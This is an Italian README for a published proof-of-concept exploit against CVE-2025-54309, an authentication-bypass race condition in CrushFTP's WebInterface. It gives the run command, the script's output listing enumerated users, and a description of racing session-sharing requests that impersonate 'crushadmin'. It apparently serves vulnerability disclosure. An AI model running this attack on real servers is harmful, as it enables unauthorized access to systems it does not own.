
Proof-of-concept exploit per CVE-2025-54309, che dimostra un bypass dell'autenticazione tramite race condition nella WebInterface di CrushFTP per enumerare gli utenti.
Una prova di concetto per il bypass dell'autenticazione di CrushFTP
Vedi il nostro post del blog per i dettagli tecnici
python3 watchTowr-vs-CrushFTP-CVE-2025-54309.py http://127.0.0.1:8082
[*] Generated new c2f value: 6XDQ
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-CrushFTP-CVE-2025-54309.py
(*) CrushFTP Authentication Bypass Race Condition PoC
- Sonny , watchTowr ([email protected])
CVEs: [CVE-2025-54309]
[*] CRUSHFTP RACE CONDITION POC
[*] TARGET: http://127.0.0.1:8082
[*] ENDPOINT: CrushFTP WebInterface getUserList
[*] ATTACK: 5000 requests with new c2f every 50 requests
============================================================
Starting race with 5000 request pairs...
============================================================
[*] Generated new c2f value: qUwd
[*] NEW SESSION: c2f=qUwd
[*] EXFILTRATED 3 USERS: crushadmin, default, TempAccount
[*] VULNERABLE! RACE CONDITION POSSIBLE!
Questo script è una prova di concetto per CVE-2025-54309 contro le interfacce CrushFTP. Creando una serie di richieste race che condividono gli stessi identificatori di sessione, una richiesta per impostare la proprietà username su "crushadmin" e una richiesta per eseguire un comando autenticato come questo utente, in questa PoC è possibile estrarre l'elenco dei nomi utente. Ulteriori dettagli sono descritti nel nostro [post del blog] (https://labs.watchtowr.com/).
Ulteriori dettagli nell'avviso di CrushFTP
Per le ultime ricerche di sicurezza, segui il team dei Labs di watchTowr